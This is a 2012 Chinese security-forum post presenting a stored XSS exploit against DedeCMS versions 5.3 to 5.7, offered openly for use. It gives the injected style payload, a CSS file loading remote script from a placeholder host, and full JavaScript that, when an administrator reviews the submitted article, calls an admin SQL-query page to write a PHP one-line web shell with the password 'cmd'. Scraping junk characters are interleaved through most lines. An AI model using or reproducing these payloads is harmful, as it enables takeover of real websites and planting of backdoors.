找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2105|回复: 0
打印 上一主题 下一主题

dedecms xss oday通杀所有版本 可getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 13:56:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell
" ^9 n* X8 m" j( {1 u) C; W  V8 J为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)
( F: O' o% D- L9 ?目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。% t2 d3 g9 v3 i# p8 f
下面说说利用方法。
1 m) z- ]: h, J: |  a条件有2个:
% \8 }/ i  T9 {9 W/ B8 |1.开启注册' ?. q7 i: }# ?* y2 P( T+ M
2.开启投稿
3 e) ?0 q8 ], T: @; R8 |注册会员----发表文章. U$ p* A* m) u* Q: J2 ~
内容填写:; S8 G; i% h+ L6 Y0 P" q, Q" V
复制代码1 P* m7 u4 f# j+ W6 a
<style>@im\port'\http://xxx.com/xss.css';</style>. m, X2 f+ B2 o7 c  a% y
新建XSS.Css' o6 r( T0 J% D# U6 [. w: {; F
复制代码
. n& g2 T4 y& P' j1 _2 ]% Q9 k.body{  b1 O$ @0 t: T+ x
background-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }
8 J9 y( q) @3 L* X" k% }新建xss.js 内容为: ?8 m1 S" X9 y- X# M2 c
复制代码
5 _4 L: a7 j/ k, h. w" l. d6 m9 t+ a1.var request = false;
* L( s* E! S6 Z2.if(window.XMLHttpRequest) {/ Y- u6 {: f1 l* c2 _: w- ~
3.request = new XMLHttpRequest();. T6 z% [2 Z) E5 V" C% s
4.if(request.overrideMimeType) {
  d* ]4 D9 g3 E- R3 ^% L' o$ X5.request.overrideMimeType('text/xml');- w5 h; M$ I" {; h4 M) U
6.}8 f. u) Q# S1 `* A
7.} else if(window.ActiveXObject) {) e! F5 ^  \# ~7 T- X
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];  e) i- @7 N/ x- _  @7 t
9.for(var i=0; i<versions.length; i++) {3 t1 P% [* h! L9 m. q8 b
10.try {
/ Y) l1 b/ F! |11.request = new ActiveXObject(versions);
- [' _# _0 k$ @, f12.} catch(e) {}
& I4 ~1 f, l, Q) x: u, E, v- ^4 ~13.}) Q' e" c1 }4 x5 w0 }# t
14.}
, A5 [1 B/ S& @15.xmlhttp=request;8 s6 F# @0 {/ P9 D3 n' I8 B, U% u
16.function getFolder( url ){
( ^8 K, j# q7 V: I% k17. obj = url.split('/')5 \4 B: f/ K' E6 L( F' z8 b. t
18. return obj[obj.length-2]0 p$ q: x4 u% p& v! ^
19.}& e* d- |, G3 M/ e  k7 J! b
20.oUrl = top.location.href;9 D% t- b( Q; Y6 e$ e: p
21.u = getFolder(oUrl);1 g8 p+ x  a* V7 L
22.add_admin();$ M/ t" G/ R2 r  A+ X; F
23.function add_admin(){6 a8 K$ p4 `& \  V" Q# u
24.var url= "/"+u+"/sys_sql_query.php";
1 k: V1 w' B# _. d( X6 r25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";
4 ~: l) S' x. m' D: X26.xmlhttp.open("POST", url, true);
( T: A4 {# N6 Z. _- Q  s27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
5 X1 T, B2 b; _6 m. d28.xmlhttp.setRequestHeader("Content-length", params.length);' y5 S7 R9 H" b$ e4 a, M  h
29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");
) ^% _3 V+ }6 Z# \3 _30.xmlhttp.send(params);
3 I( v+ I! z( [% w/ t31.}
7 F! B6 w* m' r9 Q+ F7 s  ^当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表